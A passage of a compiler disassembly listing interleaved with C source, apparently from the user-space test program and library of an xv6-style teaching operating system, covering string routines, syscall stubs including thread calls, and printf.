4979: e8 c3 da ff ff call 2441 <linktest>
unlinkread();
497e: e8 e9 d8 ff ff call 226c <unlinkread>
createdelete();
4983: e8 33 d6 ff ff call 1fbb <createdelete>
twofiles();
4988: e8 c6 d3 ff ff call 1d53 <twofiles>
sharedfd();
498d: e8 c3 d1 ff ff call 1b55 <sharedfd>
dirfile();
4992: e8 88 f0 ff ff call 3a1f <dirfile>
iref();
4997: e8 c5 f2 ff ff call 3c61 <iref>
forktest();
499c: e8 e4 f3 ff ff call 3d85 <forktest>
bigdir(); // slow
49a1: e8 c5 e1 ff ff call 2b6b <bigdir>
exectest();
49a6: e8 b2 cc ff ff call 165d <exectest>
exit();
49ab: e8 68 02 00 00 call 4c18 <exit>
000049b0 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
49b0: 55 push %ebp
49b1: 89 e5 mov %esp,%ebp
49b3: 57 push %edi
49b4: 53 push %ebx
asm volatile("cld; rep stosb" :
49b5: 8b 4d 08 mov 0x8(%ebp),%ecx
49b8: 8b 55 10 mov 0x10(%ebp),%edx
49bb: 8b 45 0c mov 0xc(%ebp),%eax
49be: 89 cb mov %ecx,%ebx
49c0: 89 df mov %ebx,%edi
49c2: 89 d1 mov %edx,%ecx
49c4: fc cld
49c5: f3 aa rep stos %al,%es:(%edi)
49c7: 89 ca mov %ecx,%edx
49c9: 89 fb mov %edi,%ebx
49cb: 89 5d 08 mov %ebx,0x8(%ebp)
49ce: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
49d1: 5b pop %ebx
49d2: 5f pop %edi
49d3: 5d pop %ebp
49d4: c3 ret
000049d5 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
49d5: 55 push %ebp
49d6: 89 e5 mov %esp,%ebp
49d8: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
49db: 8b 45 08 mov 0x8(%ebp),%eax
49de: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
49e1: 90 nop
49e2: 8b 45 08 mov 0x8(%ebp),%eax
49e5: 8d 50 01 lea 0x1(%eax),%edx
49e8: 89 55 08 mov %edx,0x8(%ebp)
49eb: 8b 55 0c mov 0xc(%ebp),%edx
49ee: 8d 4a 01 lea 0x1(%edx),%ecx
49f1: 89 4d 0c mov %ecx,0xc(%ebp)
49f4: 0f b6 12 movzbl (%edx),%edx
49f7: 88 10 mov %dl,(%eax)
49f9: 0f b6 00 movzbl (%eax),%eax
49fc: 84 c0 test %al,%al
49fe: 75 e2 jne 49e2 <strcpy+0xd>
;
return os;
4a00: 8b 45 fc mov -0x4(%ebp),%eax
}
4a03: c9 leave
4a04: c3 ret
00004a05 <strcmp>:
int
strcmp(const char *p, const char *q)
{
4a05: 55 push %ebp
4a06: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
4a08: eb 08 jmp 4a12 <strcmp+0xd>
p++, q++;
4a0a: 83 45 08 01 addl $0x1,0x8(%ebp)
4a0e: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
4a12: 8b 45 08 mov 0x8(%ebp),%eax
4a15: 0f b6 00 movzbl (%eax),%eax
4a18: 84 c0 test %al,%al
4a1a: 74 10 je 4a2c <strcmp+0x27>
4a1c: 8b 45 08 mov 0x8(%ebp),%eax
4a1f: 0f b6 10 movzbl (%eax),%edx
4a22: 8b 45 0c mov 0xc(%ebp),%eax
4a25: 0f b6 00 movzbl (%eax),%eax
4a28: 38 c2 cmp %al,%dl
4a2a: 74 de je 4a0a <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
4a2c: 8b 45 08 mov 0x8(%ebp),%eax
4a2f: 0f b6 00 movzbl (%eax),%eax
4a32: 0f b6 d0 movzbl %al,%edx
4a35: 8b 45 0c mov 0xc(%ebp),%eax
4a38: 0f b6 00 movzbl (%eax),%eax
4a3b: 0f b6 c0 movzbl %al,%eax
4a3e: 29 c2 sub %eax,%edx
4a40: 89 d0 mov %edx,%eax
}
4a42: 5d pop %ebp
4a43: c3 ret
00004a44 <strlen>:
uint
strlen(char *s)
{
4a44: 55 push %ebp
4a45: 89 e5 mov %esp,%ebp
4a47: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
4a4a: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
4a51: eb 04 jmp 4a57 <strlen+0x13>
4a53: 83 45 fc 01 addl $0x1,-0x4(%ebp)
4a57: 8b 55 fc mov -0x4(%ebp),%edx
4a5a: 8b 45 08 mov 0x8(%ebp),%eax
4a5d: 01 d0 add %edx,%eax
4a5f: 0f b6 00 movzbl (%eax),%eax
4a62: 84 c0 test %al,%al
4a64: 75 ed jne 4a53 <strlen+0xf>
;
return n;
4a66: 8b 45 fc mov -0x4(%ebp),%eax
}
4a69: c9 leave
4a6a: c3 ret
00004a6b <memset>:
void*
memset(void *dst, int c, uint n)
{
4a6b: 55 push %ebp
4a6c: 89 e5 mov %esp,%ebp
4a6e: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
4a71: 8b 45 10 mov 0x10(%ebp),%eax
4a74: 89 44 24 08 mov %eax,0x8(%esp)
4a78: 8b 45 0c mov 0xc(%ebp),%eax
4a7b: 89 44 24 04 mov %eax,0x4(%esp)
4a7f: 8b 45 08 mov 0x8(%ebp),%eax
4a82: 89 04 24 mov %eax,(%esp)
4a85: e8 26 ff ff ff call 49b0 <stosb>
return dst;
4a8a: 8b 45 08 mov 0x8(%ebp),%eax
}
4a8d: c9 leave
4a8e: c3 ret
00004a8f <strchr>:
char*
strchr(const char *s, char c)
{
4a8f: 55 push %ebp
4a90: 89 e5 mov %esp,%ebp
4a92: 83 ec 04 sub $0x4,%esp
4a95: 8b 45 0c mov 0xc(%ebp),%eax
4a98: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
4a9b: eb 14 jmp 4ab1 <strchr+0x22>
if(*s == c)
4a9d: 8b 45 08 mov 0x8(%ebp),%eax
4aa0: 0f b6 00 movzbl (%eax),%eax
4aa3: 3a 45 fc cmp -0x4(%ebp),%al
4aa6: 75 05 jne 4aad <strchr+0x1e>
return (char*)s;
4aa8: 8b 45 08 mov 0x8(%ebp),%eax
4aab: eb 13 jmp 4ac0 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
4aad: 83 45 08 01 addl $0x1,0x8(%ebp)
4ab1: 8b 45 08 mov 0x8(%ebp),%eax
4ab4: 0f b6 00 movzbl (%eax),%eax
4ab7: 84 c0 test %al,%al
4ab9: 75 e2 jne 4a9d <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
4abb: b8 00 00 00 00 mov $0x0,%eax
}
4ac0: c9 leave
4ac1: c3 ret
00004ac2 <gets>:
char*
gets(char *buf, int max)
{
4ac2: 55 push %ebp
4ac3: 89 e5 mov %esp,%ebp
4ac5: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
4ac8: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
4acf: eb 4c jmp 4b1d <gets+0x5b>
cc = read(0, &c, 1);
4ad1: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
4ad8: 00
4ad9: 8d 45 ef lea -0x11(%ebp),%eax
4adc: 89 44 24 04 mov %eax,0x4(%esp)
4ae0: c7 04 24 00 00 00 00 movl $0x0,(%esp)
4ae7: e8 44 01 00 00 call 4c30 <read>
4aec: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
4aef: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
4af3: 7f 02 jg 4af7 <gets+0x35>
break;
4af5: eb 31 jmp 4b28 <gets+0x66>
buf[i++] = c;
4af7: 8b 45 f4 mov -0xc(%ebp),%eax
4afa: 8d 50 01 lea 0x1(%eax),%edx
4afd: 89 55 f4 mov %edx,-0xc(%ebp)
4b00: 89 c2 mov %eax,%edx
4b02: 8b 45 08 mov 0x8(%ebp),%eax
4b05: 01 c2 add %eax,%edx
4b07: 0f b6 45 ef movzbl -0x11(%ebp),%eax
4b0b: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
4b0d: 0f b6 45 ef movzbl -0x11(%ebp),%eax
4b11: 3c 0a cmp $0xa,%al
4b13: 74 13 je 4b28 <gets+0x66>
4b15: 0f b6 45 ef movzbl -0x11(%ebp),%eax
4b19: 3c 0d cmp $0xd,%al
4b1b: 74 0b je 4b28 <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
4b1d: 8b 45 f4 mov -0xc(%ebp),%eax
4b20: 83 c0 01 add $0x1,%eax
4b23: 3b 45 0c cmp 0xc(%ebp),%eax
4b26: 7c a9 jl 4ad1 <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
4b28: 8b 55 f4 mov -0xc(%ebp),%edx
4b2b: 8b 45 08 mov 0x8(%ebp),%eax
4b2e: 01 d0 add %edx,%eax
4b30: c6 00 00 movb $0x0,(%eax)
return buf;
4b33: 8b 45 08 mov 0x8(%ebp),%eax
}
4b36: c9 leave
4b37: c3 ret
00004b38 <stat>:
int
stat(char *n, struct stat *st)
{
4b38: 55 push %ebp
4b39: 89 e5 mov %esp,%ebp
4b3b: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
4b3e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
4b45: 00
4b46: 8b 45 08 mov 0x8(%ebp),%eax
4b49: 89 04 24 mov %eax,(%esp)
4b4c: e8 07 01 00 00 call 4c58 <open>
4b51: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
4b54: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4b58: 79 07 jns 4b61 <stat+0x29>
return -1;
4b5a: b8 ff ff ff ff mov $0xffffffff,%eax
4b5f: eb 23 jmp 4b84 <stat+0x4c>
r = fstat(fd, st);
4b61: 8b 45 0c mov 0xc(%ebp),%eax
4b64: 89 44 24 04 mov %eax,0x4(%esp)
4b68: 8b 45 f4 mov -0xc(%ebp),%eax
4b6b: 89 04 24 mov %eax,(%esp)
4b6e: e8 fd 00 00 00 call 4c70 <fstat>
4b73: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
4b76: 8b 45 f4 mov -0xc(%ebp),%eax
4b79: 89 04 24 mov %eax,(%esp)
4b7c: e8 bf 00 00 00 call 4c40 <close>
return r;
4b81: 8b 45 f0 mov -0x10(%ebp),%eax
}
4b84: c9 leave
4b85: c3 ret
00004b86 <atoi>:
int
atoi(const char *s)
{
4b86: 55 push %ebp
4b87: 89 e5 mov %esp,%ebp
4b89: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
4b8c: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
4b93: eb 25 jmp 4bba <atoi+0x34>
n = n*10 + *s++ - '0';
4b95: 8b 55 fc mov -0x4(%ebp),%edx
4b98: 89 d0 mov %edx,%eax
4b9a: c1 e0 02 shl $0x2,%eax
4b9d: 01 d0 add %edx,%eax
4b9f: 01 c0 add %eax,%eax
4ba1: 89 c1 mov %eax,%ecx
4ba3: 8b 45 08 mov 0x8(%ebp),%eax
4ba6: 8d 50 01 lea 0x1(%eax),%edx
4ba9: 89 55 08 mov %edx,0x8(%ebp)
4bac: 0f b6 00 movzbl (%eax),%eax
4baf: 0f be c0 movsbl %al,%eax
4bb2: 01 c8 add %ecx,%eax
4bb4: 83 e8 30 sub $0x30,%eax
4bb7: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
4bba: 8b 45 08 mov 0x8(%ebp),%eax
4bbd: 0f b6 00 movzbl (%eax),%eax
4bc0: 3c 2f cmp $0x2f,%al
4bc2: 7e 0a jle 4bce <atoi+0x48>
4bc4: 8b 45 08 mov 0x8(%ebp),%eax
4bc7: 0f b6 00 movzbl (%eax),%eax
4bca: 3c 39 cmp $0x39,%al
4bcc: 7e c7 jle 4b95 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
4bce: 8b 45 fc mov -0x4(%ebp),%eax
}
4bd1: c9 leave
4bd2: c3 ret
00004bd3 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
4bd3: 55 push %ebp
4bd4: 89 e5 mov %esp,%ebp
4bd6: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
4bd9: 8b 45 08 mov 0x8(%ebp),%eax
4bdc: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
4bdf: 8b 45 0c mov 0xc(%ebp),%eax
4be2: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
4be5: eb 17 jmp 4bfe <memmove+0x2b>
*dst++ = *src++;
4be7: 8b 45 fc mov -0x4(%ebp),%eax
4bea: 8d 50 01 lea 0x1(%eax),%edx
4bed: 89 55 fc mov %edx,-0x4(%ebp)
4bf0: 8b 55 f8 mov -0x8(%ebp),%edx
4bf3: 8d 4a 01 lea 0x1(%edx),%ecx
4bf6: 89 4d f8 mov %ecx,-0x8(%ebp)
4bf9: 0f b6 12 movzbl (%edx),%edx
4bfc: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
4bfe: 8b 45 10 mov 0x10(%ebp),%eax
4c01: 8d 50 ff lea -0x1(%eax),%edx
4c04: 89 55 10 mov %edx,0x10(%ebp)
4c07: 85 c0 test %eax,%eax
4c09: 7f dc jg 4be7 <memmove+0x14>
*dst++ = *src++;
return vdst;
4c0b: 8b 45 08 mov 0x8(%ebp),%eax
}
4c0e: c9 leave
4c0f: c3 ret
00004c10 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
4c10: b8 01 00 00 00 mov $0x1,%eax
4c15: cd 40 int $0x40
4c17: c3 ret
00004c18 <exit>:
SYSCALL(exit)
4c18: b8 02 00 00 00 mov $0x2,%eax
4c1d: cd 40 int $0x40
4c1f: c3 ret
00004c20 <wait>:
SYSCALL(wait)
4c20: b8 03 00 00 00 mov $0x3,%eax
4c25: cd 40 int $0x40
4c27: c3 ret
00004c28 <pipe>:
SYSCALL(pipe)
4c28: b8 04 00 00 00 mov $0x4,%eax
4c2d: cd 40 int $0x40
4c2f: c3 ret
00004c30 <read>:
SYSCALL(read)
4c30: b8 05 00 00 00 mov $0x5,%eax
4c35: cd 40 int $0x40
4c37: c3 ret
00004c38 <write>:
SYSCALL(write)
4c38: b8 10 00 00 00 mov $0x10,%eax
4c3d: cd 40 int $0x40
4c3f: c3 ret
00004c40 <close>:
SYSCALL(close)
4c40: b8 15 00 00 00 mov $0x15,%eax
4c45: cd 40 int $0x40
4c47: c3 ret
00004c48 <kill>:
SYSCALL(kill)
4c48: b8 06 00 00 00 mov $0x6,%eax
4c4d: cd 40 int $0x40
4c4f: c3 ret
00004c50 <exec>:
SYSCALL(exec)
4c50: b8 07 00 00 00 mov $0x7,%eax
4c55: cd 40 int $0x40
4c57: c3 ret
00004c58 <open>:
SYSCALL(open)
4c58: b8 0f 00 00 00 mov $0xf,%eax
4c5d: cd 40 int $0x40
4c5f: c3 ret
00004c60 <mknod>:
SYSCALL(mknod)
4c60: b8 11 00 00 00 mov $0x11,%eax
4c65: cd 40 int $0x40
4c67: c3 ret
00004c68 <unlink>:
SYSCALL(unlink)
4c68: b8 12 00 00 00 mov $0x12,%eax
4c6d: cd 40 int $0x40
4c6f: c3 ret
00004c70 <fstat>:
SYSCALL(fstat)
4c70: b8 08 00 00 00 mov $0x8,%eax
4c75: cd 40 int $0x40
4c77: c3 ret
00004c78 <link>:
SYSCALL(link)
4c78: b8 13 00 00 00 mov $0x13,%eax
4c7d: cd 40 int $0x40
4c7f: c3 ret
00004c80 <mkdir>:
SYSCALL(mkdir)
4c80: b8 14 00 00 00 mov $0x14,%eax
4c85: cd 40 int $0x40
4c87: c3 ret
00004c88 <chdir>:
SYSCALL(chdir)
4c88: b8 09 00 00 00 mov $0x9,%eax
4c8d: cd 40 int $0x40
4c8f: c3 ret
00004c90 <dup>:
SYSCALL(dup)
4c90: b8 0a 00 00 00 mov $0xa,%eax
4c95: cd 40 int $0x40
4c97: c3 ret
00004c98 <getpid>:
SYSCALL(getpid)
4c98: b8 0b 00 00 00 mov $0xb,%eax
4c9d: cd 40 int $0x40
4c9f: c3 ret
00004ca0 <sbrk>:
SYSCALL(sbrk)
4ca0: b8 0c 00 00 00 mov $0xc,%eax
4ca5: cd 40 int $0x40
4ca7: c3 ret
00004ca8 <sleep>:
SYSCALL(sleep)
4ca8: b8 0d 00 00 00 mov $0xd,%eax
4cad: cd 40 int $0x40
4caf: c3 ret
00004cb0 <uptime>:
SYSCALL(uptime)
4cb0: b8 0e 00 00 00 mov $0xe,%eax
4cb5: cd 40 int $0x40
4cb7: c3 ret
00004cb8 <clone>:
SYSCALL(clone)
4cb8: b8 16 00 00 00 mov $0x16,%eax
4cbd: cd 40 int $0x40
4cbf: c3 ret
00004cc0 <texit>:
SYSCALL(texit)
4cc0: b8 17 00 00 00 mov $0x17,%eax
4cc5: cd 40 int $0x40
4cc7: c3 ret
00004cc8 <tsleep>:
SYSCALL(tsleep)
4cc8: b8 18 00 00 00 mov $0x18,%eax
4ccd: cd 40 int $0x40
4ccf: c3 ret
00004cd0 <twakeup>:
SYSCALL(twakeup)
4cd0: b8 19 00 00 00 mov $0x19,%eax
4cd5: cd 40 int $0x40
4cd7: c3 ret
00004cd8 <thread_yield>:
SYSCALL(thread_yield)
4cd8: b8 1a 00 00 00 mov $0x1a,%eax
4cdd: cd 40 int $0x40
4cdf: c3 ret
00004ce0 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
4ce0: 55 push %ebp
4ce1: 89 e5 mov %esp,%ebp
4ce3: 83 ec 18 sub $0x18,%esp
4ce6: 8b 45 0c mov 0xc(%ebp),%eax
4ce9: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
4cec: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
4cf3: 00
4cf4: 8d 45 f4 lea -0xc(%ebp),%eax
4cf7: 89 44 24 04 mov %eax,0x4(%esp)
4cfb: 8b 45 08 mov 0x8(%ebp),%eax
4cfe: 89 04 24 mov %eax,(%esp)
4d01: e8 32 ff ff ff call 4c38 <write>
}
4d06: c9 leave
4d07: c3 ret
00004d08 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
4d08: 55 push %ebp
4d09: 89 e5 mov %esp,%ebp
4d0b: 56 push %esi
4d0c: 53 push %ebx
4d0d: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
4d10: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
4d17: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
4d1b: 74 17 je 4d34 <printint+0x2c>
4d1d: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
4d21: 79 11 jns 4d34 <printint+0x2c>
neg = 1;
4d23: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
4d2a: 8b 45 0c mov 0xc(%ebp),%eax
4d2d: f7 d8 neg %eax
4d2f: 89 45 ec mov %eax,-0x14(%ebp)
4d32: eb 06 jmp 4d3a <printint+0x32>
} else {
x = xx;
4d34: 8b 45 0c mov 0xc(%ebp),%eax
4d37: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
4d3a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
4d41: 8b 4d f4 mov -0xc(%ebp),%ecx
4d44: 8d 41 01 lea 0x1(%ecx),%eax
4d47: 89 45 f4 mov %eax,-0xc(%ebp)
4d4a: 8b 5d 10 mov 0x10(%ebp),%ebx
4d4d: 8b 45 ec mov -0x14(%ebp),%eax
4d50: ba 00 00 00 00 mov $0x0,%edx
4d55: f7 f3 div %ebx
4d57: 89 d0 mov %edx,%eax
4d59: 0f b6 80 d0 72 00 00 movzbl 0x72d0(%eax),%eax
4d60: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
4d64: 8b 75 10 mov 0x10(%ebp),%esi
4d67: 8b 45 ec mov -0x14(%ebp),%eax
4d6a: ba 00 00 00 00 mov $0x0,%edx
4d6f: f7 f6 div %esi
4d71: 89 45 ec mov %eax,-0x14(%ebp)
4d74: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
4d78: 75 c7 jne 4d41 <printint+0x39>
if(neg)
4d7a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
4d7e: 74 10 je 4d90 <printint+0x88>
buf[i++] = '-';
4d80: 8b 45 f4 mov -0xc(%ebp),%eax
4d83: 8d 50 01 lea 0x1(%eax),%edx
4d86: 89 55 f4 mov %edx,-0xc(%ebp)
4d89: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
4d8e: eb 1f jmp 4daf <printint+0xa7>
4d90: eb 1d jmp 4daf <printint+0xa7>
putc(fd, buf[i]);
4d92: 8d 55 dc lea -0x24(%ebp),%edx
4d95: 8b 45 f4 mov -0xc(%ebp),%eax
4d98: 01 d0 add %edx,%eax
4d9a: 0f b6 00 movzbl (%eax),%eax
4d9d: 0f be c0 movsbl %al,%eax
4da0: 89 44 24 04 mov %eax,0x4(%esp)
4da4: 8b 45 08 mov 0x8(%ebp),%eax
4da7: 89 04 24 mov %eax,(%esp)
4daa: e8 31 ff ff ff call 4ce0 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
4daf: 83 6d f4 01 subl $0x1,-0xc(%ebp)
4db3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4db7: 79 d9 jns 4d92 <printint+0x8a>
putc(fd, buf[i]);
}
4db9: 83 c4 30 add $0x30,%esp
4dbc: 5b pop %ebx
4dbd: 5e pop %esi
4dbe: 5d pop %ebp
4dbf: c3 ret
00004dc0 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4dc0: 55 push %ebp
4dc1: 89 e5 mov %esp,%ebp
4dc3: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
4dc6: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
4dcd: 8d 45 0c lea 0xc(%ebp),%eax
4dd0: 83 c0 04 add $0x4,%eax
4dd3: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
4dd6: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
4ddd: e9 7c 01 00 00 jmp 4f5e <printf+0x19e>
c = fmt[i] & 0xff;
4de2: 8b 55 0c mov 0xc(%ebp),%edx
4de5: 8b 45 f0 mov -0x10(%ebp),%eax
4de8: 01 d0 add %edx,%eax
4dea: 0f b6 00 movzbl (%eax),%eax
4ded: 0f be c0 movsbl %al,%eax
4df0: 25 ff 00 00 00 and $0xff,%eax
4df5: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
4df8: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
4dfc: 75 2c jne 4e2a <printf+0x6a>
if(c == '%'){
4dfe: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
4e02: 75 0c jne 4e10 <printf+0x50>
state = '%';
4e04: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
4e0b: e9 4a 01 00 00 jmp 4f5a <printf+0x19a>
} else {
putc(fd, c);
4e10: 8b 45 e4 mov -0x1c(%ebp),%eax
4e13: 0f be c0 movsbl %al,%eax
4e16: 89 44 24 04 mov %eax,0x4(%esp)
4e1a: 8b 45 08 mov 0x8(%ebp),%eax
4e1d: 89 04 24 mov %eax,(%esp)
4e20: e8 bb fe ff ff call 4ce0 <putc>
4e25: e9 30 01 00 00 jmp 4f5a <printf+0x19a>
}
} else if(state == '%'){
4e2a: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
4e2e: 0f 85 26 01 00 00 jne 4f5a <printf+0x19a>
if(c == 'd'){
4e34: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
4e38: 75 2d jne 4e67 <printf+0xa7>
printint(fd, *ap, 10, 1);
4e3a: 8b 45 e8 mov -0x18(%ebp),%eax
4e3d: 8b 00 mov (%eax),%eax
4e3f: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
4e46: 00
4e47: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
4e4e: 00
4e4f: 89 44 24 04 mov %eax,0x4(%esp)
4e53: 8b 45 08 mov 0x8(%ebp),%eax
4e56: 89 04 24 mov %eax,(%esp)
4e59: e8 aa fe ff ff call 4d08 <printint>
ap++;
4e5e: 83 45 e8 04 addl $0x4,-0x18(%ebp)
4e62: e9 ec 00 00 00 jmp 4f53 <printf+0x193>
} else if(c == 'x' || c == 'p'){
4e67: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
4e6b: 74 06 je 4e73 <printf+0xb3>
4e6d: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
4e71: 75 2d jne 4ea0 <printf+0xe0>
printint(fd, *ap, 16, 0);
4e73: 8b 45 e8 mov -0x18(%ebp),%eax
4e76: 8b 00 mov (%eax),%eax
4e78: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
4e7f: 00
4e80: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
4e87: 00
4e88: 89 44 24 04 mov %eax,0x4(%esp)
4e8c: 8b 45 08 mov 0x8(%ebp),%eax
4e8f: 89 04 24 mov %eax,(%esp)
4e92: e8 71 fe ff ff call 4d08 <printint>
ap++;
4e97: 83 45 e8 04 addl $0x4,-0x18(%ebp)
4e9b: e9 b3 00 00 00 jmp 4f53 <printf+0x193>
} else if(c == 's'){
4ea0: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
4ea4: 75 45 jne 4eeb <printf+0x12b>
s = (char*)*ap;
4ea6: 8b 45 e8 mov -0x18(%ebp),%eax
4ea9: 8b 00 mov (%eax),%eax
4eab: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
4eae: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
4eb2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4eb6: 75 09 jne 4ec1 <printf+0x101>
s = "(null)";
4eb8: c7 45 f4 c6 6a 00 00 movl $0x6ac6,-0xc(%ebp)
while(*s != 0){
4ebf: eb 1e jmp 4edf <printf+0x11f>
4ec1: eb 1c jmp 4edf <printf+0x11f>
putc(fd, *s);
4ec3: 8b 45 f4 mov -0xc(%ebp),%eax
4ec6: 0f b6 00 movzbl (%eax),%eax
4ec9: 0f be c0 movsbl %al,%eax
4ecc: 89 44 24 04 mov %eax,0x4(%esp)
4ed0: 8b 45 08 mov 0x8(%ebp),%eax
4ed3: 89 04 24 mov %eax,(%esp)
4ed6: e8 05 fe ff ff call 4ce0 <putc>
s++;
4edb: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
4edf: 8b 45 f4 mov -0xc(%ebp),%eax
4ee2: 0f b6 00 movzbl (%eax),%eax
4ee5: 84 c0 test %al,%al
4ee7: 75 da jne 4ec3 <printf+0x103>
4ee9: eb 68 jmp 4f53 <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
4eeb: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
4eef: 75 1d jne 4f0e <printf+0x14e>
putc(fd, *ap);
4ef1: 8b 45 e8 mov -0x18(%ebp),%eax
4ef4: 8b 00 mov (%eax),%eax
4ef6: 0f be c0 movsbl %al,%eax
4ef9: 89 44 24 04 mov %eax,0x4(%esp)
4efd: 8b 45 08 mov 0x8(%ebp),%eax
4f00: 89 04 24 mov %eax,(%esp)
4f03: e8 d8 fd ff ff call 4ce0 <putc>
ap++;
4f08: 83 45 e8 04 addl $0x4,-0x18(%ebp)
4f0c: eb 45 jmp 4f53 <printf+0x193>
} else if(c == '%'){
4f0e: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
4f12: 75 17 jne 4f2b <printf+0x16b>
putc(fd, c);
4f14: 8b 45 e4 mov -0x1c(%ebp),%eax
4f17: 0f be c0 movsbl %al,%eax
4f1a: 89 44 24 04 mov %eax,0x4(%esp)
4f1e: 8b 45 08 mov 0x8(%ebp),%eax
4f21: 89 04 24 mov %eax,(%esp)
4f24: e8 b7 fd ff ff call 4ce0 <putc>
4f29: eb 28 jmp 4f53 <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
4f2b: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
4f32: 00
4f33: 8b 45 08 mov 0x8(%ebp),%eax
4f36: 89 04 24 mov %eax,(%esp)
4f39: e8 a2 fd ff ff call 4ce0 <putc>
putc(fd, c);
4f3e: 8b 45 e4 mov -0x1c(%ebp),%eax
4f41: 0f be c0 movsbl %al,%eax
4f44: 89 44 24 04 mov %eax,0x4(%esp)
4f48: 8b 45 08 mov 0x8(%ebp),%eax
4f4b: 89 04 24 mov %eax,(%esp)
4f4e: e8 8d fd ff ff call 4ce0 <putc>
}
state = 0;
